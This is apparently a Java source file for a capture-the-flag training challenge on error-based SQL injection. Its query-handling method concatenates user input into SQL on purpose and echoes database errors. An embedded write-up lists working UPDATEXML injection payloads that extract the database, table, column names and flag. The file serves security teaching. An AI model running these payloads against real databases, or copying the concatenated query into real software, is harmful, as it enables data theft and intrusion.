package tum0r.server.problem.web.sql_injection.error;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.server.problem.ProblemBase;
import tum0r.utils.extension.StringExtension;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.model.server.ErrorMessage;
import tum0r.webengine.utils.server.action.Action;

/**
 * 工程: Security<br>
 * 包: tum0r.server.problem.web.sql.injection<br>
 * 创建者: tum0r<br>
 * 创建时间: 2021/3/21 14:51<br>
 * <br>
 */
@Server(Mapping = "/security/problem/web/sql_injection/error/updatexml")
public class UpdateXML extends ProblemBase {
    public UpdateXML() {
        information.ProblemTitle = "有趣的SQL注入——报错注入之UpdateXML注入";
        information.ProblemID = 4;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.FUNNY;
        information.CreateTime = "2020/03/21";
        ProblemInfoItem problem = new ProblemInfoItem("problem", null);
        problem.addParameter("id", "String");
        problem.addParameter("log", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("这不是错误，这是在注入过程中走的一段弯路");
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("如果觉得太难了就在地址上添加log=1打开数据库错误返回");
    }

    @Override
    public void writeUp(Action<String> action) {
        String result = """
                0、本题只返回了找到几条新闻，测试发现是字符型注入，看tips发现在参数里添加log=1可以打开数据库的报错回显
                                
                1、使用UPDATEXML()进行报错注入
                                
                2、获取数据库名
                problem?log=1&id=3%27%20AND%20UPDATEXML(1%2CCONCAT(0x7e%2C(SELECT%20DATABASE()))%2C1)%23
                                
                3、获取表名
                problem?log=1&id=3'%20AND%20UPDATEXML(1%2CCONCAT(0x7e%2C(SELECT%20GROUP_CONCAT(TABLE_NAME)%20FROM%20information_schema.TABLES%20WHERE%20TABLE_SCHEMA%3D'security'))%2C1)%23
                                
                4、获取f1ag表的字段名
                problem?log=1&id=3'%20AND%20UPDATEXML(1%2CCONCAT(0x7e%2C(SELECT%20GROUP_CONCAT(COLUMN_NAME)%20FROM%20information_schema.%60COLUMNS%60%20WHERE%20TABLE_NAME%3D'f1ag'))%2C1)%23
                                
                5、根据本题的ProblemID获取flag
                problem?log=1&id=3'%20AND%20UPDATEXML(1%2CCONCAT(0x7e%2C(SELECT%20Fla9%20FROM%20f1ag%20WHERE%20ProblemID%20%3D%204))%2C1)%23
                """;
        action.callBack(result);
    }

    public void problem(@Param("id") String id, @Param("log") int log, Action<String> action) throws ErrorMessage {
        action.check(StringExtension.isNotNullOrEmpty(id) && (id.toLowerCase().contains("floor") || id.toLowerCase().contains("exp")), "id包含不合法关键词");

        String sql = "SELECT COUNT(1) FROM news WHERE ID = '" + id + "'";
        String error = null;
        int result = 0;
        try {
            result = DB._Write._DAO.selectValue(sql, int.class);
        } catch (Exception e) {
            error = e.toString();
        }

        if (log == 1 && error != null) {
            action.callBack(error);
        } else {
            action.callBack("获取到 " + result + " 条新闻");
        }
    }
}
